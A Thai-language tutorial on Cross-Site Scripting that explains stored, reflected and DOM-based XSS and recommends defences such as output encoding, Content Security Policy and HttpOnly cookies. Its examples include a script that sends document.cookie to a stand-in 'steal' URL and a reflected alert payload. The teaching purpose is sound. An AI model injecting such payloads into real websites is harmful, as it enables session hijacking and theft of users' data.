รู้จักภัยร้าย Cross-Site Scripting (XSS) สคริปต์ฝังตัวที่คอยขโมยข้อมูลผู้ใช้

เว็บไซต์สมัยนี้ไม่ได้มีแค่การแสดงข้อมูล แต่ยังมีฟังก์ชันอินเทอร์แอคทีฟมากมาย ทำให้เกิดความเสี่ยงจากช่องโหว่ด้านความปลอดภัยรูปแบบต่างๆ หนึ่งในภัยที่พบบ่อยและอันตรายคือ **Cross-Site Scripting คืออะไร** หรือที่มักเรียกสั้นๆ ว่า XSS ซึ่งเป็นการโจมตีที่ผู้ไม่หวังดีแอบฝังสคริปต์ลงในหน้าเว็บ เพื่อขโมยข้อมูลผู้ใช้หรือยึดครองเซสชันของผู้ใช้งาน

บทความนี้จะช่วยให้คุณเข้าใจหลักการของ XSS, ผลกระทบ, รูปแบบการโจมตีที่พบบ่อย ตลอดจนแนวทางป้องกันเชิงปฏิบัติที่สามารถนำไปปรับใช้ได้จริงในการพัฒนาเว็บไซต์หรือดูแลระบบขององค์กร

Cross-Site Scripting คืออะไร และทำไมถึงอันตราย

Cross-Site Scripting คืออะไร คือช่องโหว่ด้านความปลอดภัยของเว็บแอปพลิเคชันที่เปิดโอกาสให้แฮกเกอร์แทรกโค้ดสคริปต์ (ส่วนใหญ่คือ JavaScript) ลงไปในหน้าเว็บ เมื่อผู้ใช้รายอื่นเข้าชมหน้าเว็บนั้น เบราว์เซอร์จะรันสคริปต์ปลอมให้เหมือนเป็นโค้ดปกติของเว็บไซต์ ส่งผลให้ผู้โจมตีสามารถขโมยข้อมูลหรือทำงานบางอย่างแทนผู้ใช้ได้โดยที่ผู้ใช้ไม่รู้ตัว

กลไกพื้นฐานของ XSS

• ผู้โจมตีส่งโค้ดสคริปต์อันตรายเข้าไปในช่องทางรับข้อมูล เช่น ฟอร์มคอมเมนต์, ช่องค้นหา, URL
• เว็บแอปพลิเคชันไม่ได้กรอง หรือล้างข้อมูล (Input Validation/Output Encoding) อย่างถูกต้อง
• ข้อมูลที่ติดสคริปต์ถูกแสดงกลับไปให้ผู้ใช้ในหน้าเว็บ
• เบราว์เซอร์คิดว่าสคริปต์นั้นเป็นส่วนหนึ่งของเว็บไซต์ที่เชื่อถือได้ จึงรันสคริปต์ทันที

ผลกระทบต่อผู้ใช้และธุรกิจ

• ขโมยคุกกี้และเซสชัน เพื่อสวมรอยเข้าสู่ระบบในนามของผู้ใช้
• ดักข้อมูลส่วนบุคคล เช่น ชื่อผู้ใช้ รหัสผ่าน หรือข้อมูลบัตรเครดิต (หากมีช่องกรอกข้อมูลบนเว็บไซต์)
• เปลี่ยนแปลงเนื้อหาหน้าเว็บ ให้แสดงข้อความหลอกลวง นำไปสู่การฟิชชิ่ง
• ทำลายความน่าเชื่อถือของแบรนด์ เมื่อผู้ใช้ถูกโจมตีผ่านเว็บไซต์ขององค์กร
• เสี่ยงต่อการละเมิดกฎหมายคุ้มครองข้อมูลส่วนบุคคล เช่น PDPA หรือ GDPR หากข้อมูลผู้ใช้รั่วไหล

XSS ไม่ได้โจมตีตัวเซิร์ฟเวอร์โดยตรง แต่เล่นงาน “ผู้ใช้” ผ่าน “ความไว้ใจ” ที่มีต่อเว็บไซต์นั้น ๆ หากเว็บไม่ปลอดภัย ผู้ใช้ก็เสี่ยงไปด้วย

ประเภทของ Cross-Site Scripting (XSS) ที่ควรรู้

การเข้าใจประเภทของ XSS ทำให้สามารถออกแบบมาตรการป้องกันได้เหมาะสมและครอบคลุมมากขึ้น โดยทั่วไป XSS สามารถแบ่งออกได้เป็น 3 กลุ่มหลัก

1. Stored XSS (Persistent XSS)

คือการโจมตีที่โค้ดสคริปต์อันตรายถูก “บันทึก” ลงในระบบ และจะแสดงผลต่อผู้ใช้ทุกครั้งที่มีการโหลดข้อมูลส่วนนั้นขึ้นมา เช่น

• โพสต์คอมเมนต์ในเว็บบอร์ดที่แฝงสคริปต์
• รีวิวสินค้า หรือฟอร์มฟีดแบ็กที่อนุญาตให้กรอก HTML โดยไม่กรอง
• ข้อมูลโปรไฟล์ผู้ใช้ที่อนุญาตข้อความยาว แต่ไม่มีการกรองโค้ดสคริปต์

ความอันตรายคือ ผู้โจมตีส่งเพียงครั้งเดียว แต่สคริปต์จะถูกโหลดซ้ำกับผู้ใช้จำนวนมาก ทำให้ขยายผลได้ในวงกว้าง

2. Reflected XSS (Non-persistent XSS)

เกิดจากการส่งโค้ดสคริปต์ฝังอยู่ใน URL หรือข้อมูลที่ส่งผ่าน HTTP request เมื่อผู้ใช้คลิกลิงก์หรือส่งข้อมูลนั้น เว็บจะสะท้อน (reflect) ข้อมูลกลับมาแสดงโดยไม่กรอง ทำให้สคริปต์ทำงานบนเบราว์เซอร์ของผู้ใช้ทันที

ตัวอย่างเช่น URL ที่มีพารามิเตอร์ล่อให้คลิกจากอีเมลหรือโซเชียลมีเดีย:

• ลิงก์ที่ดูเหมือนเป็นของเว็บจริง แต่ซ่อนคำสั่ง JavaScript ไว้ใน query string
• ฟอร์มค้นหาที่นำข้อความค้นหากลับมาแสดงบนหน้าผลลัพธ์แบบไม่มีการ escape

กรณีนี้มักใช้ร่วมกับการฟิชชิ่ง เพราะผู้โจมตีต้องหลอกให้เหยื่อ “คลิก” ลิงก์ที่สร้างขึ้นเอง

3. DOM-based XSS

เป็นรูปแบบที่ซับซ้อนขึ้น โดยอาศัยการจัดการ DOM บนฝั่งเบราว์เซอร์โดยตรง (Client-side) จุดอันตรายมักอยู่ที่ JavaScript ภายในหน้าเว็บที่นำค่าจาก URL, fragment (#), หรือ client-side storage มาใช้งานโดยไม่กรองแล้วนำไปสร้าง HTML ใหม่ใน DOM

• โค้ด JavaScript ที่ใช้ innerHTML หรือ document.write กับข้อมูลจาก URL โดยตรง
• การอ่านค่าจาก location.search, location.hash แล้วนำไปต่อ string เพื่อแสดงผล

แม้ฝั่งเซิร์ฟเวอร์จะไม่ได้เก็บสคริปต์ไว้ แต่หากโค้ดฝั่งหน้าเว็บเขียนไม่รัดกุม ก็ยังเปิดช่องให้ DOM-based XSS ได้เช่นกัน

ตัวอย่างสถานการณ์ XSS แบบเข้าใจง่าย

ตัวอย่างแบบ Stored XSS

สมมติว่าเว็บบอร์ดมีฟังก์ชันโพสต์คอมเมนต์ และแสดงผลคอมเมนต์โดยตรงโดยไม่กรอง HTML ผู้โจมตีอาจโพสต์:

<script>document.location='https://example.com/steal?c='+document.cookie</script>

เมื่อผู้ใช้คนอื่นเปิดหน้าเว็บเบราว์เซอร์จะรันสคริปต์นี้ แล้วส่งค่า document.cookie ไปให้ผู้โจมตีทันที ทำให้ผู้โจมตีสามารถขโมยเซสชันของผู้ใช้ได้

ตัวอย่างแบบ Reflected XSS

เว็บมีหน้าค้นหาที่แสดงคำค้นกลับมาให้ผู้ใช้เห็น เช่น “คุณกำลังค้นหาคำว่า: …” โดยไม่ escape ตัวอักษรพิเศษ หากมีลิงก์ในรูปแบบ:

https://example.com/search?q=<script>alert('xss')</script>

หากผู้ใช้กดลิงก์นี้ หน้าเว็บจะดึงค่าพารามิเตอร์ q มาแสดง ทำให้สคริปต์ถูกเรียกใช้งานทันที

แนวทางป้องกัน Cross-Site Scripting ในระดับเว็บแอปพลิเคชัน

เมื่อตอบคำถามว่า Cross-Site Scripting คืออะไร แล้ว ขั้นต่อไปที่สำคัญไม่แพ้กันคือการป้องกัน ด้วยแนวทางเชิงเทคนิคที่สามารถนำไปปรับใช้ในโค้ดจริงได้

1. กรองและตรวจสอบข้อมูลนำเข้า (Input Validation)

• กำหนดประเภทข้อมูลที่ยอมรับอย่างชัดเจน (เช่น ตัวเลขเท่านั้น, ความยาวสูงสุด, รูปแบบอีเมล)
• หลีกเลี่ยงการอนุญาต HTML หรือ JavaScript ในฟิลด์ที่ไม่จำเป็นต้องรองรับ
• ใช้การกรองแบบ “allowlist” (อนุญาตเฉพาะสิ่งที่ปลอดภัย) แทน “blocklist”

2. เข้ารหัสข้อมูลก่อนแสดงผล (Output Encoding/Escaping)

• ทุกครั้งที่นำข้อมูลที่ผู้ใช้กรอกมาแสดงบนหน้าเว็บ ควร escape ตัวอักษรพิเศษ เช่น <, >, ', "
• ใช้ฟังก์ชันมาตรฐานจากเฟรมเวิร์ก เช่น htmlspecialchars หรือ template engine ที่มี encoding ในตัว
• ระวังบริบทการแสดงผล เช่น ใน HTML, ใน JavaScript, ใน URL แต่ละบริบทมีวิธี escape ต่างกัน

3. ใช้ Content Security Policy (CSP)

• กำหนดนโยบาย CSP ผ่าน HTTP Header เช่น Content-Security-Policy
• จำกัดแหล่งที่มาของสคริปต์ ให้รันได้เฉพาะจากโดเมนที่กำหนดเท่านั้น
• หลีกเลี่ยงการใช้ inline script; หากจำเป็น ใช้ nonce หรือ hash ตามแนวทาง CSP

4. ป้องกันการเข้าถึงคุกกี้โดย JavaScript

• ตั้งค่า HttpOnly บนคุกกี้เซสชัน เพื่อให้ JavaScript อ่านค่าไม่ได้ ลดความเสี่ยงจากการขโมยคุกกี้ผ่าน XSS
• ใช้ Secure ร่วมกับ HTTPS เพื่อไม่ให้คุกกี้ส่งผ่านช่องทางไม่เข้ารหัส

5. ใช้เฟรมเวิร์กที่มีระบบป้องกันในตัว

• เฟรมเวิร์กส่วนใหญ่มีระบบ templating ที่ช่วย escape ค่าอัตโนมัติ เช่น Laravel Blade, Django Template, React JSX
• อัปเดตเวอร์ชันเฟรมเวิร์กและไลบรารีสม่ำเสมอ เพื่อลดช่องโหว่ที่รู้จักแล้ว

แนวทางป้องกัน Cross-Site Scripting ด้านสถาปัตยกรรมและการบริหารจัดการ

นอกจากการเขียนโค้ดอย่างปลอดภัยแล้ว การออกแบบระบบและกระบวนการทำงานก็มีความสำคัญต่อการลดความเสี่ยงจาก XSS

1. ตรวจสอบความปลอดภัยเชิงรุก (Security Testing)

• ทำการทดสอบเจาะระบบ (Penetration Testing) สำหรับเว็บแอปพลิเคชัน โดยเน้นตรวจช่องโหว่ประเภท XSS
• ใช้เครื่องมือสแกนช่องโหว่อัตโนมัติควบคู่กับการทดสอบแบบ manual
• ทบทวนโค้ด (Code Review) โดยเฉพาะส่วนที่เกี่ยวข้องกับ input/output ของผู้ใช้

2. แยกโดเมนหรือซับโดเมนสำหรับคอนเทนต์จากผู้ใช้

• เนื้อหาที่ผู้ใช้สร้างขึ้นเอง (User-Generated Content) อาจแยกไปอยู่บนโดเมนหรือซับโดเมนอื่น ลดผลกระทบหากเกิด XSS
• ใช้ sandbox หรือ iframe ที่จำกัดสิทธิ์ในกรณีที่จำเป็นต้องแสดง HTML จากผู้ใช้

3. นโยบายและการอบรมทีมพัฒนา

• กำหนดมาตรฐาน Secure Coding ที่ชัดเจนสำหรับทีมพัฒนา
• จัดอบรมให้ทีมเข้าใจ Cross-Site Scripting คืออะไร, วิธีโจมตี และแนวทางป้องกัน
• บันทึกแนวปฏิบัติที่ดีที่สุด (Best Practices) ไว้ในคู่มือภายในองค์กร

📌 สรุปประเด็นสำคัญที่นำไปใช้ได้ทันที

• ทำความเข้าใจให้ชัดว่า Cross-Site Scripting คืออะไร: คือช่องโหว่ที่ทำให้ผู้โจมตีแอบรันสคริปต์บนเบราว์เซอร์ของผู้ใช้ผ่านหน้าเว็บ
• รู้จักประเภทหลักของ XSS: Stored, Reflected และ DOM-based เพื่อวางมาตรการป้องกันให้ตรงจุด
• กรองข้อมูลทุกครั้งที่รับจากผู้ใช้ (Input Validation) และเข้ารหัสทุกครั้งก่อนแสดงผล (Output Encoding)
• ตั้งค่า HttpOnly กับคุกกี้สำคัญ ลดโอกาสถูกขโมยเซสชันผ่าน XSS
• ใช้ Content Security Policy (CSP) จำกัดแหล่งสคริปต์ และหลีกเลี่ยง inline script
• ทดสอบความปลอดภัยอย่างสม่ำเสมอ และอัปเดตเฟรมเวิร์ก/ไลบรารีให้ทันสมัยอยู่เสมอ

การลงทุนเวลาเพื่อป้องกัน XSS ตั้งแต่ขั้นตอนออกแบบและพัฒนา ช่วยลดความเสี่ยงด้านความปลอดภัย ลดค่าใช้จ่ายแก้ไขในอนาคต และรักษาความเชื่อมั่นของผู้ใช้ต่อเว็บไซต์ในระยะยาว

หากเนื้อหานี้ช่วยให้คุณเข้าใจประเด็นด้านความปลอดภัยมากขึ้น ขอเชิญกลับมาติดตามบทความเชิงลึกด้านความปลอดภัยเว็บและโครงสร้างพื้นฐานดิจิทัลได้อีกในครั้งต่อไป และหากเห็นว่าบทความนี้เป็นประโยชน์ โปรดแบ่งปันต่อให้กับทีมพัฒนา ผู้ดูแลระบบ หรือผู้ที่เกี่ยวข้อง เพื่อช่วยกันยกระดับความปลอดภัยของระบบออนไลน์ให้แข็งแรงยิ่งขึ้นค่ะ